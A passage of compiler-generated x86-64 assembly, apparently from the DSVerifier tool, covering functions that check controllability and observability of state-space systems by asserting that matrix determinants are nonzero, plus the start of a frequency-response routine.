movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 16
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
mov rax, QWORD PTR [rdx+rax]
movq xmm0, rax
call fxp_double_to_fxp
mov edx, DWORD PTR -924[rbp]
movsx rcx, edx
mov edx, DWORD PTR -928[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -784[rbp+rdx*8], rax
add DWORD PTR -924[rbp], 1
.L1574:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -924[rbp], eax
jl .L1575
add DWORD PTR -928[rbp], 1
.L1573:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -928[rbp], eax
jl .L1576
mov eax, DWORD PTR nInputs[rip]
cmp eax, 1
jle .L1577
mov DWORD PTR -920[rbp], 0
mov DWORD PTR -924[rbp], 0
jmp .L1578
.L1583:
mov edx, DWORD PTR -920[rbp]
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
lea rcx, -528[rbp]
lea rax, -912[rbp]
mov r8, rcx
mov ecx, edx
mov rdx, rax
call fxp_exp_matrix
add DWORD PTR -920[rbp], 1
mov eax, DWORD PTR nInputs[rip]
mov r11d, eax
mov eax, DWORD PTR nStates[rip]
mov r10d, eax
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
lea rcx, -784[rbp]
lea rdx, -528[rbp]
sub rsp, 8
lea rax, -400[rbp]
push rax
mov r9, rcx
mov r8, rdx
mov ecx, r11d
mov edx, r10d
call fxp_matrix_multiplication
add rsp, 16
mov DWORD PTR -916[rbp], 0
jmp .L1579
.L1582:
mov DWORD PTR -928[rbp], 0
jmp .L1580
.L1581:
mov eax, DWORD PTR -916[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
mov rax, QWORD PTR -400[rbp+rax*8]
mov edx, DWORD PTR -924[rbp]
movsx rcx, edx
mov edx, DWORD PTR -928[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -656[rbp+rdx*8], rax
add DWORD PTR -928[rbp], 1
.L1580:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -928[rbp], eax
jl .L1581
add DWORD PTR -924[rbp], 1
add DWORD PTR -916[rbp], 1
.L1579:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -916[rbp], eax
jl .L1582
.L1578:
mov edx, DWORD PTR nStates[rip]
mov eax, DWORD PTR nInputs[rip]
imul eax, edx
cmp DWORD PTR -924[rbp], eax
jl .L1583
mov DWORD PTR -928[rbp], 0
jmp .L1584
.L1587:
mov DWORD PTR -924[rbp], 0
jmp .L1585
.L1586:
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -528[rbp+rax*8], 0
add DWORD PTR -924[rbp], 1
.L1585:
mov edx, DWORD PTR nStates[rip]
mov eax, DWORD PTR nInputs[rip]
imul eax, edx
cmp DWORD PTR -924[rbp], eax
jl .L1586
add DWORD PTR -928[rbp], 1
.L1584:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -928[rbp], eax
jl .L1587
mov edx, DWORD PTR nStates[rip]
mov eax, DWORD PTR nInputs[rip]
mov ecx, edx
imul ecx, eax
mov edx, DWORD PTR nStates[rip]
lea rsi, -528[rbp]
lea rax, -656[rbp]
mov rdi, rax
call fxp_transpose
mov eax, DWORD PTR nStates[rip]
mov r11d, eax
mov edx, DWORD PTR nStates[rip]
mov eax, DWORD PTR nInputs[rip]
imul eax, edx
mov r10d, eax
mov edx, DWORD PTR nStates[rip]
mov eax, DWORD PTR nInputs[rip]
imul eax, edx
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
lea rcx, -528[rbp]
lea rdx, -656[rbp]
sub rsp, 8
lea rax, -144[rbp]
push rax
mov r9, rcx
mov r8, rdx
mov ecx, r11d
mov edx, r10d
call fxp_matrix_multiplication
add rsp, 16
mov DWORD PTR -928[rbp], 0
jmp .L1588
.L1591:
mov DWORD PTR -924[rbp], 0
jmp .L1589
.L1590:
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
mov rax, QWORD PTR -144[rbp+rax*8]
mov rdi, rax
call fxp_to_double
movq rax, xmm0
mov edx, DWORD PTR -924[rbp]
movsx rcx, edx
mov edx, DWORD PTR -928[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -272[rbp+rdx*8], rax
add DWORD PTR -924[rbp], 1
.L1589:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -924[rbp], eax
jl .L1590
add DWORD PTR -928[rbp], 1
.L1588:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -928[rbp], eax
jl .L1591
mov edx, DWORD PTR nStates[rip]
lea rax, -272[rbp]
mov esi, edx
mov rdi, rax
call determinant
movq rax, xmm0
pxor xmm0, xmm0
movq xmm1, rax
ucomisd xmm1, xmm0
jp .L1593
pxor xmm0, xmm0
movq xmm2, rax
comisd xmm2, xmm0
jne .L1593
lea rcx, __PRETTY_FUNCTION__.2[rip]
mov edx, 91
lea rsi, .LC87[rip]
lea rdi, .LC88[rip]
call __assert_fail@PLT
.L1577:
mov DWORD PTR -924[rbp], 0
jmp .L1594
.L1597:
mov edx, DWORD PTR -924[rbp]
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
lea rcx, -528[rbp]
lea rax, -912[rbp]
mov r8, rcx
mov ecx, edx
mov rdx, rax
call fxp_exp_matrix
mov eax, DWORD PTR nInputs[rip]
mov r11d, eax
mov eax, DWORD PTR nStates[rip]
mov r10d, eax
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
lea rcx, -784[rbp]
lea rdx, -528[rbp]
sub rsp, 8
lea rax, -400[rbp]
push rax
mov r9, rcx
mov r8, rdx
mov ecx, r11d
mov edx, r10d
call fxp_matrix_multiplication
add rsp, 16
mov DWORD PTR -928[rbp], 0
jmp .L1595
.L1596:
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 5
add rax, rbp
sub rax, 400
mov rax, QWORD PTR [rax]
mov edx, DWORD PTR -924[rbp]
movsx rcx, edx
mov edx, DWORD PTR -928[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -656[rbp+rdx*8], rax
add DWORD PTR -928[rbp], 1
.L1595:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -928[rbp], eax
jl .L1596
add DWORD PTR -924[rbp], 1
.L1594:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -924[rbp], eax
jl .L1597
mov DWORD PTR -928[rbp], 0
jmp .L1598
.L1601:
mov DWORD PTR -924[rbp], 0
jmp .L1599
.L1600:
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
mov rax, QWORD PTR -656[rbp+rax*8]
mov rdi, rax
call fxp_to_double
movq rax, xmm0
mov edx, DWORD PTR -924[rbp]
movsx rcx, edx
mov edx, DWORD PTR -928[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -272[rbp+rdx*8], rax
add DWORD PTR -924[rbp], 1
.L1599:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -924[rbp], eax
jl .L1600
add DWORD PTR -928[rbp], 1
.L1598:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -928[rbp], eax
jl .L1601
mov edx, DWORD PTR nStates[rip]
lea rax, -272[rbp]
mov esi, edx
mov rdi, rax
call determinant
movq rax, xmm0
pxor xmm0, xmm0
movq xmm3, rax
ucomisd xmm3, xmm0
jp .L1593
pxor xmm0, xmm0
movq xmm4, rax
comisd xmm4, xmm0
jne .L1593
lea rcx, __PRETTY_FUNCTION__.2[rip]
mov edx, 113
lea rsi, .LC87[rip]
lea rdi, .LC88[rip]
call __assert_fail@PLT
.L1593:
mov eax, 0
mov rsi, QWORD PTR -8[rbp]
sub rsi, QWORD PTR fs:40
je .L1603
call __stack_chk_fail@PLT
.L1603:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE148:
.size verify_controllability, .-verify_controllability
.section .rodata
.align 8
.LC89:
.string "determinant(mimo_controllabilityMatrix_double,nStates) != 0"
.align 8
.LC90:
.string "determinant(controllabilityMatrix,nStates) != 0"
.text
.globl verify_controllability_double
.type verify_controllability_double, @function
verify_controllability_double:
.LFB149:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 544
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov eax, DWORD PTR nInputs[rip]
cmp eax, 1
jle .L1605
mov DWORD PTR -536[rbp], 0
mov DWORD PTR -540[rbp], 0
jmp .L1606
.L1611:
mov eax, DWORD PTR -536[rbp]
mov edx, DWORD PTR nStates[rip]
mov esi, edx
mov edx, DWORD PTR nStates[rip]
mov edi, edx
lea rdx, -400[rbp]
mov r8, rdx
mov ecx, eax
lea rdx, _controller[rip]
call double_exp_matrix
add DWORD PTR -536[rbp], 1
mov eax, DWORD PTR nInputs[rip]
mov ecx, eax
mov eax, DWORD PTR nStates[rip]
mov r10d, eax
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
lea rdx, -400[rbp]
sub rsp, 8
lea rax, -272[rbp]
push rax
lea r9, _controller[rip+128]
mov r8, rdx
mov edx, r10d
call double_matrix_multiplication
add rsp, 16
mov DWORD PTR -532[rbp], 0
jmp .L1607
.L1610:
mov DWORD PTR -544[rbp], 0
jmp .L1608
.L1609:
mov eax, DWORD PTR -532[rbp]
movsx rdx, eax
mov eax, DWORD PTR -544[rbp]
cdqe
sal rax, 2
add rax, rdx
movsd xmm0, QWORD PTR -272[rbp+rax*8]
mov eax, DWORD PTR -540[rbp]
movsx rdx, eax
mov eax, DWORD PTR -544[rbp]
cdqe
sal rax, 2
add rax, rdx
movsd QWORD PTR -528[rbp+rax*8], xmm0
add DWORD PTR -544[rbp], 1
.L1608:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -544[rbp], eax
jl .L1609
add DWORD PTR -540[rbp], 1
add DWORD PTR -532[rbp], 1
.L1607:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -532[rbp], eax
jl .L1610
.L1606:
mov edx, DWORD PTR nStates[rip]
mov eax, DWORD PTR nInputs[rip]
imul eax, edx
cmp DWORD PTR -540[rbp], eax
jl .L1611
mov DWORD PTR -544[rbp], 0
jmp .L1612
.L1615:
mov DWORD PTR -540[rbp], 0
jmp .L1613
.L1614:
mov eax, DWORD PTR -540[rbp]
movsx rdx, eax
mov eax, DWORD PTR -544[rbp]
cdqe
sal rax, 2
add rax, rdx
pxor xmm0, xmm0
movsd QWORD PTR -400[rbp+rax*8], xmm0
add DWORD PTR -540[rbp], 1
.L1613:
mov edx, DWORD PTR nStates[rip]
mov eax, DWORD PTR nInputs[rip]
imul eax, edx
cmp DWORD PTR -540[rbp], eax
jl .L1614
add DWORD PTR -544[rbp], 1
.L1612:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -544[rbp], eax
jl .L1615
mov edx, DWORD PTR nStates[rip]
mov eax, DWORD PTR nInputs[rip]
mov ecx, edx
imul ecx, eax
mov edx, DWORD PTR nStates[rip]
lea rsi, -400[rbp]
lea rax, -528[rbp]
mov rdi, rax
call transpose
mov eax, DWORD PTR nStates[rip]
mov r11d, eax
mov edx, DWORD PTR nStates[rip]
mov eax, DWORD PTR nInputs[rip]
imul eax, edx
mov r10d, eax
mov edx, DWORD PTR nStates[rip]
mov eax, DWORD PTR nInputs[rip]
imul eax, edx
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
lea rcx, -400[rbp]
lea rdx, -528[rbp]
sub rsp, 8
lea rax, -144[rbp]
push rax
mov r9, rcx
mov r8, rdx
mov ecx, r11d
mov edx, r10d
call double_matrix_multiplication
add rsp, 16
mov edx, DWORD PTR nStates[rip]
lea rax, -144[rbp]
mov esi, edx
mov rdi, rax
call determinant
movq rax, xmm0
pxor xmm0, xmm0
movq xmm1, rax
ucomisd xmm1, xmm0
jp .L1617
pxor xmm0, xmm0
movq xmm2, rax
comisd xmm2, xmm0
jne .L1617
lea rcx, __PRETTY_FUNCTION__.1[rip]
mov edx, 154
lea rsi, .LC87[rip]
lea rdi, .LC89[rip]
call __assert_fail@PLT
.L1605:
mov DWORD PTR -540[rbp], 0
jmp .L1618
.L1621:
mov eax, DWORD PTR -540[rbp]
mov edx, DWORD PTR nStates[rip]
mov esi, edx
mov edx, DWORD PTR nStates[rip]
mov edi, edx
lea rdx, -400[rbp]
mov r8, rdx
mov ecx, eax
lea rdx, _controller[rip]
call double_exp_matrix
mov eax, DWORD PTR nInputs[rip]
mov ecx, eax
mov eax, DWORD PTR nStates[rip]
mov r10d, eax
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
lea rdx, -400[rbp]
sub rsp, 8
lea rax, -272[rbp]
push rax
lea r9, _controller[rip+128]
mov r8, rdx
mov edx, r10d
call double_matrix_multiplication
add rsp, 16
mov DWORD PTR -544[rbp], 0
jmp .L1619
.L1620:
mov eax, DWORD PTR -544[rbp]
cdqe
sal rax, 5
add rax, rbp
sub rax, 272
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -540[rbp]
movsx rdx, eax
mov eax, DWORD PTR -544[rbp]
cdqe
sal rax, 2
add rax, rdx
movsd QWORD PTR -528[rbp+rax*8], xmm0
add DWORD PTR -544[rbp], 1
.L1619:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -544[rbp], eax
jl .L1620
add DWORD PTR -540[rbp], 1
.L1618:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -540[rbp], eax
jl .L1621
mov edx, DWORD PTR nStates[rip]
lea rax, -528[rbp]
mov esi, edx
mov rdi, rax
call determinant
movq rax, xmm0
pxor xmm0, xmm0
movq xmm3, rax
ucomisd xmm3, xmm0
jp .L1617
pxor xmm0, xmm0
movq xmm4, rax
comisd xmm4, xmm0
jne .L1617
lea rcx, __PRETTY_FUNCTION__.1[rip]
mov edx, 163
lea rsi, .LC87[rip]
lea rdi, .LC90[rip]
call __assert_fail@PLT
.L1617:
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L1623
call __stack_chk_fail@PLT
.L1623:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE149:
.size verify_controllability_double, .-verify_controllability_double
.section .rodata
.align 8
.LC91:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
.align 8
.LC92:
.string "determinant(observabilityMatrix_double,nStates) != 0"
.text
.globl verify_observability
.type verify_observability, @function
verify_observability:
.LFB150:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 928
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -928[rbp], 0
jmp .L1625
.L1628:
mov DWORD PTR -924[rbp], 0
jmp .L1626
.L1627:
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -656[rbp+rax*8], 0
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -912[rbp+rax*8], 0
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -784[rbp+rax*8], 0
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -528[rbp+rax*8], 0
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -400[rbp+rax*8], 0
add DWORD PTR -924[rbp], 1
.L1626:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -924[rbp], eax
jl .L1627
add DWORD PTR -928[rbp], 1
.L1625:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -928[rbp], eax
jl .L1628
mov DWORD PTR -928[rbp], 0
jmp .L1629
.L1632:
mov DWORD PTR -924[rbp], 0
jmp .L1630
.L1631:
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
mov rax, QWORD PTR [rdx+rax]
movq xmm0, rax
call fxp_double_to_fxp
mov edx, DWORD PTR -924[rbp]
movsx rcx, edx
mov edx, DWORD PTR -928[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -912[rbp+rdx*8], rax
add DWORD PTR -924[rbp], 1
.L1630:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -924[rbp], eax
jl .L1631
add DWORD PTR -928[rbp], 1
.L1629:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -928[rbp], eax
jl .L1632
mov DWORD PTR -928[rbp], 0
jmp .L1633
.L1636:
mov DWORD PTR -924[rbp], 0
jmp .L1634
.L1635:
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 32
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
mov rax, QWORD PTR [rdx+rax]
movq xmm0, rax
call fxp_double_to_fxp
mov edx, DWORD PTR -924[rbp]
movsx rcx, edx
mov edx, DWORD PTR -928[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -784[rbp+rdx*8], rax
add DWORD PTR -924[rbp], 1
.L1634:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -924[rbp], eax
jl .L1635
add DWORD PTR -928[rbp], 1
.L1633:
mov eax, DWORD PTR nOutputs[rip]
cmp DWORD PTR -928[rbp], eax
jl .L1636
mov eax, DWORD PTR nOutputs[rip]
cmp eax, 1
jle .L1637
mov DWORD PTR -924[rbp], 0
mov DWORD PTR -920[rbp], 0
jmp .L1638
.L1643:
mov edx, DWORD PTR -920[rbp]
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
lea rcx, -528[rbp]
lea rax, -912[rbp]
mov r8, rcx
mov ecx, edx
mov rdx, rax
call fxp_exp_matrix
add DWORD PTR -920[rbp], 1
mov eax, DWORD PTR nStates[rip]
mov r11d, eax
mov eax, DWORD PTR nStates[rip]
mov r10d, eax
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
lea rcx, -528[rbp]
lea rdx, -784[rbp]
sub rsp, 8
lea rax, -400[rbp]
push rax
mov r9, rcx
mov r8, rdx
mov ecx, r11d
mov edx, r10d
call fxp_matrix_multiplication
add rsp, 16
mov DWORD PTR -916[rbp], 0
jmp .L1639
.L1642:
mov DWORD PTR -928[rbp], 0
jmp .L1640
.L1641:
mov eax, DWORD PTR -928[rbp]
movsx rdx, eax
mov eax, DWORD PTR -916[rbp]
cdqe
sal rax, 2
add rax, rdx
mov rax, QWORD PTR -400[rbp+rax*8]
mov edx, DWORD PTR -928[rbp]
movsx rcx, edx
mov edx, DWORD PTR -924[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -656[rbp+rdx*8], rax
add DWORD PTR -928[rbp], 1
.L1640:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -928[rbp], eax
jl .L1641
add DWORD PTR -924[rbp], 1
add DWORD PTR -916[rbp], 1
.L1639:
mov eax, DWORD PTR nOutputs[rip]
cmp DWORD PTR -916[rbp], eax
jl .L1642
.L1638:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -920[rbp], eax
jl .L1643
mov DWORD PTR -928[rbp], 0
jmp .L1644
.L1647:
mov DWORD PTR -924[rbp], 0
jmp .L1645
.L1646:
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -528[rbp+rax*8], 0
add DWORD PTR -924[rbp], 1
.L1645:
mov edx, DWORD PTR nStates[rip]
mov eax, DWORD PTR nOutputs[rip]
imul eax, edx
cmp DWORD PTR -924[rbp], eax
jl .L1646
add DWORD PTR -928[rbp], 1
.L1644:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -928[rbp], eax
jl .L1647
mov ecx, DWORD PTR nStates[rip]
mov edx, DWORD PTR nStates[rip]
mov eax, DWORD PTR nOutputs[rip]
imul edx, eax
lea rsi, -528[rbp]
lea rax, -656[rbp]
mov rdi, rax
call fxp_transpose
mov eax, DWORD PTR nStates[rip]
mov r11d, eax
mov edx, DWORD PTR nStates[rip]
mov eax, DWORD PTR nOutputs[rip]
imul eax, edx
mov r10d, eax
mov edx, DWORD PTR nStates[rip]
mov eax, DWORD PTR nOutputs[rip]
imul eax, edx
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
lea rcx, -656[rbp]
lea rdx, -528[rbp]
sub rsp, 8
lea rax, -144[rbp]
push rax
mov r9, rcx
mov r8, rdx
mov ecx, r11d
mov edx, r10d
call fxp_matrix_multiplication
add rsp, 16
mov DWORD PTR -928[rbp], 0
jmp .L1648
.L1651:
mov DWORD PTR -924[rbp], 0
jmp .L1649
.L1650:
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
mov rax, QWORD PTR -144[rbp+rax*8]
mov rdi, rax
call fxp_to_double
movq rax, xmm0
mov edx, DWORD PTR -924[rbp]
movsx rcx, edx
mov edx, DWORD PTR -928[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -272[rbp+rdx*8], rax
add DWORD PTR -924[rbp], 1
.L1649:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -924[rbp], eax
jl .L1650
add DWORD PTR -928[rbp], 1
.L1648:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -928[rbp], eax
jl .L1651
mov edx, DWORD PTR nStates[rip]
lea rax, -272[rbp]
mov esi, edx
mov rdi, rax
call determinant
movq rax, xmm0
pxor xmm0, xmm0
movq xmm1, rax
ucomisd xmm1, xmm0
jp .L1653
pxor xmm0, xmm0
movq xmm2, rax
comisd xmm2, xmm0
jne .L1653
lea rcx, __PRETTY_FUNCTION__.0[rip]
mov edx, 119
lea rsi, .LC91[rip]
lea rdi, .LC92[rip]
call __assert_fail@PLT
.L1637:
mov DWORD PTR -928[rbp], 0
jmp .L1654
.L1657:
mov edx, DWORD PTR -928[rbp]
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
lea rcx, -528[rbp]
lea rax, -912[rbp]
mov r8, rcx
mov ecx, edx
mov rdx, rax
call fxp_exp_matrix
mov eax, DWORD PTR nStates[rip]
mov r11d, eax
mov eax, DWORD PTR nStates[rip]
mov r10d, eax
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
lea rcx, -528[rbp]
lea rdx, -784[rbp]
sub rsp, 8
lea rax, -400[rbp]
push rax
mov r9, rcx
mov r8, rdx
mov ecx, r11d
mov edx, r10d
call fxp_matrix_multiplication
add rsp, 16
mov DWORD PTR -924[rbp], 0
jmp .L1655
.L1656:
mov eax, DWORD PTR -924[rbp]
cdqe
mov rax, QWORD PTR -400[rbp+rax*8]
mov edx, DWORD PTR -924[rbp]
movsx rcx, edx
mov edx, DWORD PTR -928[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -656[rbp+rdx*8], rax
add DWORD PTR -924[rbp], 1
.L1655:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -924[rbp], eax
jl .L1656
add DWORD PTR -928[rbp], 1
.L1654:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -928[rbp], eax
jl .L1657
mov DWORD PTR -928[rbp], 0
jmp .L1658
.L1661:
mov DWORD PTR -924[rbp], 0
jmp .L1659
.L1660:
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
mov rax, QWORD PTR -656[rbp+rax*8]
mov rdi, rax
call fxp_to_double
movq rax, xmm0
mov edx, DWORD PTR -924[rbp]
movsx rcx, edx
mov edx, DWORD PTR -928[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -272[rbp+rdx*8], rax
add DWORD PTR -924[rbp], 1
.L1659:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -924[rbp], eax
jl .L1660
add DWORD PTR -928[rbp], 1
.L1658:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -928[rbp], eax
jl .L1661
mov edx, DWORD PTR nStates[rip]
lea rax, -272[rbp]
mov esi, edx
mov rdi, rax
call determinant
movq rax, xmm0
pxor xmm0, xmm0
movq xmm3, rax
ucomisd xmm3, xmm0
jp .L1653
pxor xmm0, xmm0
movq xmm4, rax
comisd xmm4, xmm0
jne .L1653
lea rcx, __PRETTY_FUNCTION__.0[rip]
mov edx, 134
lea rsi, .LC91[rip]
lea rdi, .LC92[rip]
call __assert_fail@PLT
.L1653:
mov eax, 0
mov rsi, QWORD PTR -8[rbp]
sub rsi, QWORD PTR fs:40
je .L1663
call __stack_chk_fail@PLT
.L1663:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE150:
.size verify_observability, .-verify_observability
.globl resp_mag
.type resp_mag, @function
resp_mag:
.LFB151:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 248
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov QWORD PTR -168[rbp], rdi
mov DWORD PTR -172[rbp], esi
mov QWORD PTR -184[rbp], rdx
mov DWORD PTR -176[rbp], ecx
mov QWORD PTR -192[rbp], r8
mov DWORD PTR -196[rbp], r9d
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, rsp
mov rbx, rax
mov eax, DWORD PTR -196[rbp]
lea edx, 1[rax]
movsx rax, edx
sub rax, 1
mov QWORD PTR -136[rbp], rax
movsx rax, edx
mov r10, rax
mov r11d, 0
movsx rax, edx
mov r12, rax
mov r13d, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1665:
cmp rsp, rcx
je .L1666
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1665
.L1666:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1667
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1667:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -144[rbp], rax
mov eax, DWORD PTR -196[rbp]
lea edx, 1[rax]
movsx rax, edx
sub rax, 1
mov QWORD PTR -120[rbp], rax
movsx rax, edx
mov QWORD PTR -224[rbp], rax
mov QWORD PTR -216[rbp], 0
movsx rax, edx
mov QWORD PTR -240[rbp], rax
mov QWORD PTR -232[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1668:
cmp rsp, rdx
je .L1669
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1668
.L1669:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1670
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1670:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -112[rbp], rax
mov eax, DWORD PTR -196[rbp]
add eax, 1
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -104[rbp], rdx
movsx rdx, eax
mov QWORD PTR -256[rbp], rdx
mov QWORD PTR -248[rbp], 0
movsx rdx, eax
mov QWORD PTR -272[rbp], rdx
mov QWORD PTR -264[rbp], 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
